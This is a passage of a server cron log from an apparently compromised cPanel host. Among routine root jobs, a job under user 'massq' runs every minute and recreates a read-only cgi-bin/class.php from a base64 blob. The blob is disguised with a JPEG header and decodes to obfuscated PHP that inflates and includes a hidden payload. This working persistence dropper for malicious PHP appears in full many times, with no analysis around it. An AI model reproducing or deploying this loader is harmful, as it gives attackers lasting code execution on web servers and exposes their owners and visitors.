"$fp")
Aug 31 01:04:01 server CROND[18984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:04:01 server CROND[18985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:04:01 server CROND[18986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:05:01 server CROND[19359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:05:01 server CROND[19360]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:05:01 server CROND[19363]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:05:01 server CROND[19374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:05:01 server CROND[19378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:05:01 server CROND[19375]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 01:05:01 server CROND[19373]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:05:01 server CROND[19376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:06:01 server CROND[20211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:06:01 server CROND[20212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:06:01 server CROND[20213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:07:01 server CROND[20692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:07:01 server CROND[20694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:07:01 server CROND[20695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:08:01 server CROND[21082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:08:01 server CROND[21084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:08:01 server CROND[21085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:09:01 server CROND[21461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:09:01 server CROND[21465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:09:01 server CROND[21463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:09:01 server CROND[21464]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 01:10:01 server CROND[21854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:10:01 server CROND[21856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:10:01 server CROND[21860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:10:01 server CROND[21871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:10:01 server CROND[21875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:10:01 server CROND[21878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:10:01 server CROND[21876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:10:01 server CROND[21880]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:11:01 server CROND[23245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:11:01 server CROND[23246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:11:01 server CROND[23247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:12:01 server CROND[23715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:12:01 server CROND[23721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:12:01 server CROND[23722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:12:01 server CROND[23724]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 01:13:01 server CROND[24085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:13:01 server CROND[24087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:13:01 server CROND[24088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:14:01 server CROND[24461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:14:01 server CROND[24463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:14:01 server CROND[24464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:15:01 server CROND[24877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:15:01 server CROND[24879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:15:01 server CROND[24881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:15:01 server CROND[24886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:15:01 server CROND[24889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:15:01 server CROND[24888]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 01:15:01 server CROND[24887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tb